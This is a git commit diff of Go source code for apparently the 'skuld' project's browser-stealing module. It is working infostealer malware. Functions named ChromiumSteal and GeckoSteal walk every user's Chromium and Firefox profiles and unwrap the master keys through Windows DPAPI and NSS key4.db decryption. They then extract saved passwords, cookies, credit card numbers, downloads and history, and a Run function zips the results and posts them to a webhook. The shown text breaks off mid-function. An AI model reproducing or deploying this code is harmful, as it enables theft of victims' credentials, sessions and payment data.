initial commit
This commit is contained in:
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,222 @@
|
||||
package browsers
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/hackirby/skuld/utils/fileutil"
|
||||
"github.com/hackirby/skuld/utils/hardware"
|
||||
"github.com/hackirby/skuld/utils/requests"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func ChromiumSteal() []Profile {
|
||||
var prof []Profile
|
||||
for _, user := range hardware.GetUsers() {
|
||||
for name, path := range GetChromiumBrowsers() {
|
||||
path = filepath.Join(user, path)
|
||||
if !fileutil.IsDir(path) {
|
||||
continue
|
||||
}
|
||||
|
||||
browser := Browser{
|
||||
Name: name,
|
||||
Path: path,
|
||||
User: strings.Split(user, "\\")[2],
|
||||
}
|
||||
|
||||
var profilesPaths []Profile
|
||||
if strings.Contains(path, "Opera") {
|
||||
profilesPaths = append(profilesPaths, Profile{
|
||||
Name: "Default",
|
||||
Path: browser.Path,
|
||||
Browser: browser,
|
||||
})
|
||||
|
||||
} else {
|
||||
folders, err := os.ReadDir(path)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, folder := range folders {
|
||||
if folder.IsDir() {
|
||||
dir := filepath.Join(path, folder.Name())
|
||||
if fileutil.Exists(filepath.Join(dir, "Web Data")) {
|
||||
profilesPaths = append(profilesPaths, Profile{
|
||||
Name: folder.Name(),
|
||||
Path: dir,
|
||||
Browser: browser,
|
||||
})
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if len(profilesPaths) == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
c := Chromium{}
|
||||
err := c.GetMasterKey(path)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, profile := range profilesPaths {
|
||||
profile.Logins, _ = c.GetLogins(profile.Path)
|
||||
profile.Cookies, _ = c.GetCookies(profile.Path)
|
||||
profile.CreditCards, _ = c.GetCreditCards(profile.Path)
|
||||
profile.Downloads, _ = c.GetDownloads(profile.Path)
|
||||
profile.History, _ = c.GetHistory(profile.Path)
|
||||
prof = append(prof, profile)
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
return prof
|
||||
}
|
||||
|
||||
func GeckoSteal() []Profile {
|
||||
var prof []Profile
|
||||
for _, user := range hardware.GetUsers() {
|
||||
for name, path := range GetGeckoBrowsers() {
|
||||
path = filepath.Join(user, path)
|
||||
if !fileutil.IsDir(path) {
|
||||
continue
|
||||
}
|
||||
|
||||
browser := Browser{
|
||||
Name: name,
|
||||
Path: path,
|
||||
User: strings.Split(user, "\\")[2],
|
||||
}
|
||||
|
||||
var profilesPaths []Profile
|
||||
|
||||
profiles, err := os.ReadDir(path)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, profile := range profiles {
|
||||
if !profile.IsDir() {
|
||||
continue
|
||||
}
|
||||
dir := filepath.Join(path, profile.Name())
|
||||
files, err := os.ReadDir(dir)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if len(files) <= 10 {
|
||||
continue
|
||||
}
|
||||
|
||||
profilesPaths = append(profilesPaths, Profile{
|
||||
Name: profile.Name(),
|
||||
Path: dir,
|
||||
Browser: browser,
|
||||
})
|
||||
}
|
||||
|
||||
if len(profilesPaths) == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
for _, profile := range profilesPaths {
|
||||
g := Gecko{}
|
||||
g.GetMasterKey(profile.Path)
|
||||
profile.Logins, _ = g.GetLogins(profile.Path)
|
||||
profile.Cookies, _ = g.GetCookies(profile.Path)
|
||||
profile.Downloads, _ = g.GetDownloads(profile.Path)
|
||||
profile.History, _ = g.GetHistory(profile.Path)
|
||||
prof = append(prof, profile)
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
return prof
|
||||
}
|
||||
|
||||
func Run(webhook string) {
|
||||
tempDir := filepath.Join(os.TempDir(), "browsers-temp")
|
||||
os.MkdirAll(tempDir, os.ModePerm)
|
||||
|
||||
defer os.RemoveAll(tempDir)
|
||||
|
||||
var profiles []Profile
|
||||
profiles = append(profiles, ChromiumSteal()...)
|
||||
profiles = append(profiles, GeckoSteal()...)
|
||||
|
||||
if len(profiles) == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
for _, profile := range profiles {
|
||||
if len(profile.Logins) == 0 && len(profile.Cookies) == 0 && len(profile.CreditCards) == 0 && len(profile.Downloads) == 0 && len(profile.History) == 0 {
|
||||
continue
|
||||
}
|
||||
os.MkdirAll(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name), os.ModePerm)
|
||||
|
||||
if len(profile.Logins) > 0 {
|
||||
fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "logins.txt"), fmt.Sprintf("%-50s %-50s %-50s", "URL", "Username", "Password"))
|
||||
for _, login := range profile.Logins {
|
||||
fileutil.AppendFile(fmt.Sprintf("%s\\%s\\%s\\%s\\logins.txt", tempDir, profile.Browser.User, profile.Browser.Name, profile.Name), fmt.Sprintf("%-50s %-50s %-50s", login.LoginURL, login.Username, login.Password))
|
||||
}
|
||||
}
|
||||
|
||||
if len(profile.Cookies) > 0 {
|
||||
for _, cookie := range profile.Cookies {
|
||||
var expires string
|
||||
if cookie.ExpireDate == 0 {
|
||||
expires = "FALSE"
|
||||
} else {
|
||||
expires = "TRUE"
|
||||
}
|
||||
|
||||
var host string
|
||||
if strings.HasPrefix(cookie.Host, ".") {
|
||||
host = "FALSE"
|
||||
} else {
|
||||
host = "TRUE"
|
||||
}
|
||||
|
||||
fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "cookies.txt"), fmt.Sprintf("%s\t%s\t%s\t%s\t%d\t%s\t%s", cookie.Host, expires, cookie.Path, host, cookie.ExpireDate, cookie.Name, cookie.Value))
|
||||
}
|
||||
}
|
||||
|
||||
if len(profile.CreditCards) > 0 {
|
||||
fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "credit_cards.txt"), fmt.Sprintf("%-30s %-30s %-30s %-30s %-30s", "Number", "Expiration Month", "Expiration Year", "Name", "Address"))
|
||||
for _, cc := range profile.CreditCards {
|
||||
fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "credit_cards.txt"), fmt.Sprintf("%-30s %-30s %-30s %-30s %-30s", cc.Number, cc.ExpirationMonth, cc.ExpirationYear, cc.Name, cc.Address))
|
||||
}
|
||||
}
|
||||
|
||||
if len(profile.Downloads) > 0 {
|
||||
fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "downloads.txt"), fmt.Sprintf("%-70s %-70s", "Target Path", "URL"))
|
||||
for _, download := range profile.Downloads {
|
||||
fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "downloads.txt"), fmt.Sprintf("%-70s %-70s", download.TargetPath, download.URL))
|
||||
}
|
||||
}
|
||||
|
||||
if len(profile.History) > 0 {
|
||||
fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "history.txt"), fmt.Sprintf("%-70s %-70s", "Title", "URL"))
|
||||
for _, history := range profile.History {
|
||||
fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "history.txt"), fmt.Sprintf("%-70s %-70s", history.Title, history.URL))
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
tempZip := filepath.Join(os.TempDir(), "browsers.zip")
|
||||
if err := fileutil.Zip(tempDir, tempZip); err != nil {
|
||||
return
|
||||
}
|
||||
defer os.Remove(tempZip)
|
||||
|
||||
requests.Webhook(webhook, map[string]interface{}{
|
||||
"embeds": []map[string]interface{}{
|
||||
{
|
||||
"title": "Browsers",
|
||||
"description": fmt.Sprintf("```%s```", fileutil.Tree(tempDir, "")),
|
||||
},
|
||||
},
|
||||
}, tempZip)
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
package browsers
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
|
||||
_ "modernc.org/sqlite"
|
||||
)
|
||||
|
||||
func GetDBConnection(database string) (*sql.DB, error) {
|
||||
connection, err := sql.Open("sqlite", fmt.Sprintf("file:%s?mode=ro&immutable=1", database))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return connection, nil
|
||||
}
|
||||
@@ -0,0 +1,91 @@
|
||||
package browsers
|
||||
|
||||
import (
|
||||
"path/filepath"
|
||||
|
||||
_ "modernc.org/sqlite"
|
||||
)
|
||||
|
||||
func (c *Chromium) GetCookies(path string) (cookies []Cookie, err error) {
|
||||
db, err := GetDBConnection(filepath.Join(path, "Network", "Cookies"))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
rows, err := db.Query("SELECT name, encrypted_value, host_key, path, expires_utc FROM cookies")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
for rows.Next() {
|
||||
var (
|
||||
name, host, path string
|
||||
encryptedValue, value []byte
|
||||
expiresUtc int64
|
||||
)
|
||||
if err = rows.Scan(&name, &encryptedValue, &host, &path, &expiresUtc); err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
if name == "" || host == "" || path == "" || encryptedValue == nil {
|
||||
continue
|
||||
}
|
||||
|
||||
cookie := Cookie{
|
||||
Name: name,
|
||||
Host: host,
|
||||
Path: path,
|
||||
ExpireDate: expiresUtc,
|
||||
}
|
||||
|
||||
value, err = c.Decrypt(encryptedValue)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
cookie.Value = string(value)
|
||||
cookies = append(cookies, cookie)
|
||||
}
|
||||
|
||||
return cookies, nil
|
||||
}
|
||||
|
||||
func (g *Gecko) GetCookies(path string) (cookies []Cookie, err error) {
|
||||
db, err := GetDBConnection(filepath.Join(path, "cookies.sqlite"))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
rows, err := db.Query("SELECT name, value, host, path, expiry FROM moz_cookies")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
defer rows.Close()
|
||||
|
||||
for rows.Next() {
|
||||
var (
|
||||
name, host, path string
|
||||
value []byte
|
||||
expiry int64
|
||||
)
|
||||
if err = rows.Scan(&name, &value, &host, &path, &expiry); err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
if name == "" || host == "" || path == "" || value == nil {
|
||||
continue
|
||||
}
|
||||
|
||||
cookie := Cookie{
|
||||
Name: name,
|
||||
Host: host,
|
||||
Path: path,
|
||||
ExpireDate: expiry,
|
||||
Value: string(value),
|
||||
}
|
||||
cookies = append(cookies, cookie)
|
||||
}
|
||||
|
||||
return cookies, nil
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
package browsers
|
||||
|
||||
import (
|
||||
"path/filepath"
|
||||
|
||||
_ "modernc.org/sqlite"
|
||||
)
|
||||
|
||||
func (c *Chromium) GetCreditCards(path string) (creditCards []CreditCard, err error) {
|
||||
db, err := GetDBConnection(filepath.Join(path, "Web Data"))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
rows, err := db.Query("SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, billing_address_id FROM credit_cards")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
defer rows.Close()
|
||||
|
||||
for rows.Next() {
|
||||
|
||||
var (
|
||||
name, month, year, address string
|
||||
value, encryptValue []byte
|
||||
)
|
||||
if err := rows.Scan(&name, &month, &year, &encryptValue, &address); err != nil {
|
||||
continue
|
||||
}
|
||||
if month == "" || year == "" || encryptValue == nil {
|
||||
continue
|
||||
}
|
||||
|
||||
creditCard := CreditCard{
|
||||
Name: name,
|
||||
ExpirationYear: year,
|
||||
ExpirationMonth: month,
|
||||
Address: address,
|
||||
}
|
||||
|
||||
value, err = c.Decrypt(encryptValue)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
creditCard.Number = string(value)
|
||||
creditCards = append(creditCards, creditCard)
|
||||
}
|
||||
|
||||
return creditCards, nil
|
||||
}
|
||||
@@ -0,0 +1,232 @@
|
||||
package browsers
|
||||
|
||||
import (
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"crypto/des"
|
||||
"crypto/hmac"
|
||||
"crypto/sha1"
|
||||
"crypto/sha256"
|
||||
"encoding/asn1"
|
||||
"errors"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/crypto/pbkdf2"
|
||||
)
|
||||
|
||||
func DPAPI(encryptPass []byte) ([]byte, error) {
|
||||
dllCrypt := syscall.NewLazyDLL("Crypt32.dll")
|
||||
dllKernel := syscall.NewLazyDLL("Kernel32.dll")
|
||||
procDecryptData := dllCrypt.NewProc("CryptUnprotectData")
|
||||
procLocalFree := dllKernel.NewProc("LocalFree")
|
||||
|
||||
type dataBlob struct {
|
||||
cbData uint32
|
||||
pbData *byte
|
||||
}
|
||||
|
||||
var outBlob dataBlob
|
||||
var newBlob *dataBlob
|
||||
|
||||
if len(encryptPass) == 0 {
|
||||
newBlob = &dataBlob{}
|
||||
}
|
||||
newBlob = &dataBlob{
|
||||
pbData: &encryptPass[0],
|
||||
cbData: uint32(len(encryptPass)),
|
||||
}
|
||||
r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(newBlob)), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outBlob)))
|
||||
if r == 0 {
|
||||
return nil, err
|
||||
}
|
||||
defer procLocalFree.Call(uintptr(unsafe.Pointer(outBlob.pbData)))
|
||||
d := make([]byte, outBlob.cbData)
|
||||
copy(d, (*[1 << 30]byte)(unsafe.Pointer(outBlob.pbData))[:])
|
||||
return d, nil
|
||||
}
|
||||
|
||||
type ASN1PBE interface {
|
||||
Decrypt(globalSalt, masterPwd []byte) (key []byte, err error)
|
||||
}
|
||||
|
||||
func NewASN1PBE(b []byte) (pbe ASN1PBE, err error) {
|
||||
var (
|
||||
n nssPBE
|
||||
m metaPBE
|
||||
l loginPBE
|
||||
)
|
||||
if _, err := asn1.Unmarshal(b, &n); err == nil {
|
||||
return n, nil
|
||||
}
|
||||
if _, err := asn1.Unmarshal(b, &m); err == nil {
|
||||
return m, nil
|
||||
}
|
||||
if _, err := asn1.Unmarshal(b, &l); err == nil {
|
||||
return l, nil
|
||||
}
|
||||
return nil, errors.New("decode ASN1 data failed")
|
||||
}
|
||||
|
||||
type nssPBE struct {
|
||||
AlgoAttr struct {
|
||||
asn1.ObjectIdentifier
|
||||
SaltAttr struct {
|
||||
EntrySalt []byte
|
||||
Len int
|
||||
}
|
||||
}
|
||||
Encrypted []byte
|
||||
}
|
||||
|
||||
func (n nssPBE) Decrypt(globalSalt, masterPwd []byte) (key []byte, err error) {
|
||||
hp := sha1.Sum(append(globalSalt, masterPwd...))
|
||||
s := append(hp[:], n.salt()...)
|
||||
chp := sha1.Sum(s)
|
||||
pes := paddingZero(n.salt(), 20)
|
||||
tk := hmac.New(sha1.New, chp[:])
|
||||
tk.Write(pes)
|
||||
pes = append(pes, n.salt()...)
|
||||
k1 := hmac.New(sha1.New, chp[:])
|
||||
k1.Write(pes)
|
||||
tkPlus := append(tk.Sum(nil), n.salt()...)
|
||||
k2 := hmac.New(sha1.New, chp[:])
|
||||
k2.Write(tkPlus)
|
||||
k := append(k1.Sum(nil), k2.Sum(nil)...)
|
||||
iv := k[len(k)-8:]
|
||||
return des3Decrypt(k[:24], iv, n.encrypted())
|
||||
}
|
||||
|
||||
func (n nssPBE) salt() []byte {
|
||||
return n.AlgoAttr.SaltAttr.EntrySalt
|
||||
}
|
||||
|
||||
func (n nssPBE) encrypted() []byte {
|
||||
return n.Encrypted
|
||||
}
|
||||
|
||||
type metaPBE struct {
|
||||
AlgoAttr algoAttr
|
||||
Encrypted []byte
|
||||
}
|
||||
|
||||
type algoAttr struct {
|
||||
asn1.ObjectIdentifier
|
||||
Data struct {
|
||||
Data struct {
|
||||
asn1.ObjectIdentifier
|
||||
SlatAttr slatAttr
|
||||
}
|
||||
IVData ivAttr
|
||||
}
|
||||
}
|
||||
|
||||
type ivAttr struct {
|
||||
asn1.ObjectIdentifier
|
||||
IV []byte
|
||||
}
|
||||
|
||||
type slatAttr struct {
|
||||
EntrySalt []byte
|
||||
IterationCount int
|
||||
KeySize int
|
||||
Algorithm struct {
|
||||
asn1.ObjectIdentifier
|
||||
}
|
||||
}
|
||||
|
||||
func (m metaPBE) Decrypt(globalSalt, _ []byte) (key2 []byte, err error) {
|
||||
k := sha1.Sum(globalSalt)
|
||||
key := pbkdf2.Key(k[:], m.salt(), m.iterationCount(), m.keySize(), sha256.New)
|
||||
iv := append([]byte{4, 14}, m.iv()...)
|
||||
return aes128CBCDecrypt(key, iv, m.encrypted())
|
||||
}
|
||||
|
||||
func (m metaPBE) salt() []byte {
|
||||
return m.AlgoAttr.Data.Data.SlatAttr.EntrySalt
|
||||
}
|
||||
|
||||
func (m metaPBE) iterationCount() int {
|
||||
return m.AlgoAttr.Data.Data.SlatAttr.IterationCount
|
||||
}
|
||||
|
||||
func (m metaPBE) keySize() int {
|
||||
return m.AlgoAttr.Data.Data.SlatAttr.KeySize
|
||||
}
|
||||
|
||||
func (m metaPBE) iv() []byte {
|
||||
return m.AlgoAttr.Data.IVData.IV
|
||||
}
|
||||
|
||||
func (m metaPBE) encrypted() []byte {
|
||||
return m.Encrypted
|
||||
}
|
||||
|
||||
type loginPBE struct {
|
||||
CipherText []byte
|
||||
Data struct {
|
||||
asn1.ObjectIdentifier
|
||||
IV []byte
|
||||
}
|
||||
Encrypted []byte
|
||||
}
|
||||
|
||||
func (l loginPBE) Decrypt(globalSalt, _ []byte) (key []byte, err error) {
|
||||
return des3Decrypt(globalSalt, l.iv(), l.encrypted())
|
||||
}
|
||||
|
||||
func (l loginPBE) iv() []byte {
|
||||
return l.Data.IV
|
||||
}
|
||||
|
||||
func (l loginPBE) encrypted() []byte {
|
||||
return l.Encrypted
|
||||
}
|
||||
|
||||
func aes128CBCDecrypt(key, iv, encryptPass []byte) ([]byte, error) {
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
encryptLen := len(encryptPass)
|
||||
if encryptLen < block.BlockSize() {
|
||||
return nil, errors.New("length of encrypted password less than block size")
|
||||
}
|
||||
|
||||
dst := make([]byte, encryptLen)
|
||||
mode := cipher.NewCBCDecrypter(block, iv)
|
||||
mode.CryptBlocks(dst, encryptPass)
|
||||
dst = pkcs5UnPadding(dst, block.BlockSize())
|
||||
return dst, nil
|
||||
}
|
||||
|
||||
func pkcs5UnPadding(src []byte, blockSize int) []byte {
|
||||
n := len(src)
|
||||
paddingNum := int(src[n-1])
|
||||
if n < paddingNum || paddingNum > blockSize {
|
||||
return src
|
||||
}
|
||||
return src[:n-paddingNum]
|
||||
}
|
||||
|
||||
func des3Decrypt(key, iv []byte, src []byte) ([]byte, error) {
|
||||
block, err := des.NewTripleDESCipher(key)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
blockMode := cipher.NewCBCDecrypter(block, iv)
|
||||
sq := make([]byte, len(src))
|
||||
blockMode.CryptBlocks(sq, src)
|
||||
return pkcs5UnPadding(sq, block.BlockSize()), nil
|
||||
}
|
||||
|
||||
func paddingZero(s []byte, l int) []byte {
|
||||
h := l - len(s)
|
||||
if h <= 0 {
|
||||
return s
|
||||
}
|
||||
for i := len(s); i < l; i++ {
|
||||
s = append(s, 0)
|
||||
}
|
||||
return s
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
package browsers
|
||||
|
||||
import (
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"errors"
|
||||
)
|
||||
|
||||
func (c *Chromium) Decrypt(encryptPass []byte) ([]byte, error) {
|
||||
if len(c.MasterKey) == 0 {
|
||||
return DPAPI(encryptPass)
|
||||
}
|
||||
|
||||
if len(encryptPass) < 15 {
|
||||
return nil, errors.New("empty password")
|
||||
}
|
||||
|
||||
crypted := encryptPass[15:]
|
||||
nounce := encryptPass[3:15]
|
||||
|
||||
block, err := aes.NewCipher(c.MasterKey)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
blockMode, err := cipher.NewGCM(block)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
origData, err := blockMode.Open(nil, nounce, crypted, nil)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return origData, nil
|
||||
}
|
||||
|
||||
func (g *Gecko) Decrypt(encryptPass []byte) ([]byte, error) {
|
||||
PBE, err := NewASN1PBE(encryptPass)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var key []byte
|
||||
return PBE.Decrypt(g.MasterKey, key)
|
||||
}
|
||||
@@ -0,0 +1,82 @@
|
||||
package browsers
|
||||
|
||||
import (
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
|
||||
_ "modernc.org/sqlite"
|
||||
)
|
||||
|
||||
func (c *Chromium) GetDownloads(path string) (downloads []Download, err error) {
|
||||
db, err := GetDBConnection(filepath.Join(path, "History"))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
rows, err := db.Query("SELECT tab_url, target_path FROM downloads")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
defer rows.Close()
|
||||
|
||||
for rows.Next() {
|
||||
var (
|
||||
url, path string
|
||||
)
|
||||
if err = rows.Scan(&url, &path); err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
if url == "" || path == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
downloads = append(downloads, Download{
|
||||
URL: url,
|
||||
TargetPath: path,
|
||||
})
|
||||
|
||||
}
|
||||
|
||||
return downloads, nil
|
||||
}
|
||||
|
||||
func (g *Gecko) GetDownloads(path string) (downloads []Download, err error) {
|
||||
db, err := GetDBConnection(filepath.Join(path, "places.sqlite"))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
rows, err := db.Query("SELECT place_id, GROUP_CONCAT(content), url, dateAdded FROM (SELECT * FROM moz_annos INNER JOIN moz_places ON moz_annos.place_id=moz_places.id) t GROUP BY place_id")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
defer rows.Close()
|
||||
|
||||
for rows.Next() {
|
||||
var (
|
||||
content, url string
|
||||
placeID, dateAdded int64
|
||||
)
|
||||
|
||||
if err = rows.Scan(&placeID, &content, &url, &dateAdded); err != nil {
|
||||
continue
|
||||
}
|
||||
if url == "" || path == "" {
|
||||
continue
|
||||
}
|
||||
re := regexp.MustCompile(`file:///(.*?),`)
|
||||
result := re.FindStringSubmatch(content)
|
||||
if len(result) == 0 {
|
||||
continue
|
||||
}
|
||||
downloads = append(downloads, Download{
|
||||
URL: url,
|
||||
TargetPath: result[1],
|
||||
})
|
||||
}
|
||||
|
||||
return downloads, nil
|
||||
}
|
||||
@@ -0,0 +1,83 @@
|
||||
package browsers
|
||||
|
||||
import (
|
||||
"path/filepath"
|
||||
|
||||
_ "modernc.org/sqlite"
|
||||
)
|
||||
|
||||
func (c *Chromium) GetHistory(path string) (history []History, err error) {
|
||||
db, err := GetDBConnection(filepath.Join(path, "History"))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
rows, err := db.Query("SELECT url, title, visit_count, last_visit_time FROM urls")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
for rows.Next() {
|
||||
var (
|
||||
url, title string
|
||||
visitCount int
|
||||
lastVisitTime int64
|
||||
)
|
||||
if err = rows.Scan(&url, &title, &visitCount, &lastVisitTime); err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
if url == "" || title == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
history = append(history, History{
|
||||
URL: url,
|
||||
Title: title,
|
||||
VisitCount: visitCount,
|
||||
LastVisitTime: lastVisitTime,
|
||||
})
|
||||
|
||||
}
|
||||
|
||||
return history, nil
|
||||
}
|
||||
|
||||
func (g *Gecko) GetHistory(path string) (history []History, err error) {
|
||||
db, err := GetDBConnection(filepath.Join(path, "places.sqlite"))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
rows, err := db.Query("SELECT url, title, visit_count, last_visit_date FROM moz_places")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
for rows.Next() {
|
||||
var (
|
||||
url, title string
|
||||
visitCount int
|
||||
lastVisitTime int64
|
||||
)
|
||||
if err = rows.Scan(&url, &title, &visitCount, &lastVisitTime); err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
if url == "" || title == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
history = append(history, History{
|
||||
URL: url,
|
||||
Title: title,
|
||||
VisitCount: visitCount,
|
||||
LastVisitTime: lastVisitTime,
|
||||
})
|
||||
|
||||
}
|
||||
|
||||
return history, nil
|
||||
}
|
||||
@@ -0,0 +1,99 @@
|
||||
package browsers
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"os"
|
||||
|
||||
"path/filepath"
|
||||
|
||||
_ "modernc.org/sqlite"
|
||||
)
|
||||
|
||||
func (c *Chromium) GetLogins(path string) (logins []Login, err error) {
|
||||
db, err := GetDBConnection(filepath.Join(path, "Login Data"))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
rows, err := db.Query("SELECT action_url, username_value, password_value, date_created FROM logins")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
for rows.Next() {
|
||||
var (
|
||||
url, username string
|
||||
pwd, password []byte
|
||||
create int64
|
||||
)
|
||||
if err := rows.Scan(&url, &username, &pwd, &create); err != nil {
|
||||
continue
|
||||
}
|
||||
if url == "" || username == "" || pwd == nil {
|
||||
continue
|
||||
}
|
||||
|
||||
login := Login{
|
||||
Username: username,
|
||||
LoginURL: url,
|
||||
}
|
||||
|
||||
password, err = c.Decrypt(pwd)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
login.Password = string(password)
|
||||
logins = append(logins, login)
|
||||
}
|
||||
|
||||
return logins, nil
|
||||
}
|
||||
|
||||
func (g *Gecko) GetLogins(path string) (logins []Login, err error) {
|
||||
s, err := os.ReadFile(path + "\\logins.json")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var data struct {
|
||||
NextId int `json:"nextId"`
|
||||
Logins []struct {
|
||||
Hostname string `json:"hostname"`
|
||||
EncryptedUsername string `json:"encryptedUsername"`
|
||||
EncryptedPassword string `json:"encryptedPassword"`
|
||||
}
|
||||
}
|
||||
if err = json.Unmarshal(s, &data); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
for _, v := range data.Logins {
|
||||
decodedUser, err := base64.StdEncoding.DecodeString(v.EncryptedUsername)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
decodedPass, err := base64.StdEncoding.DecodeString(v.EncryptedPassword)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
decryptedUser, err := g.Decrypt(decodedUser)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
decryptedPass, err := g.Decrypt(decodedPass)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
logins = append(logins, Login{
|
||||
Username: string(decryptedUser),
|
||||
Password: string(decryptedPass),
|
||||
LoginURL: v.Hostname,
|
||||
})
|
||||
}
|
||||
|
||||
return logins, nil
|
||||
}
|
||||
@@ -0,0 +1,92 @@
|
||||
package browsers
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/hackirby/skuld/utils/fileutil"
|
||||
_ "modernc.org/sqlite"
|
||||
)
|
||||
|
||||
func (c *Chromium) GetMasterKey(path string) error {
|
||||
b, err := fileutil.ReadFile(filepath.Join(path, "Local State"))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.Remove("masterkey_db")
|
||||
|
||||
var data struct {
|
||||
OsCrypt struct {
|
||||
EncryptedKey string `json:"encrypted_key"`
|
||||
} `json:"os_crypt"`
|
||||
}
|
||||
err = json.Unmarshal([]byte(b), &data)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
key, err := base64.StdEncoding.DecodeString(data.OsCrypt.EncryptedKey)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
c.MasterKey, err = DPAPI(key[5:])
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (g *Gecko) GetMasterKey(path string) error {
|
||||
var globalSalt, metaBytes, nssA11, nssA102, key []byte
|
||||
|
||||
keyDB, err := GetDBConnection(filepath.Join(path, "key4.db"))
|
||||
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if err = keyDB.QueryRow(`SELECT item1, item2 FROM metaData WHERE id = 'password'`).Scan(&globalSalt, &metaBytes); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if err = keyDB.QueryRow(`SELECT a11, a102 from nssPrivate`).Scan(&nssA11, &nssA102); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
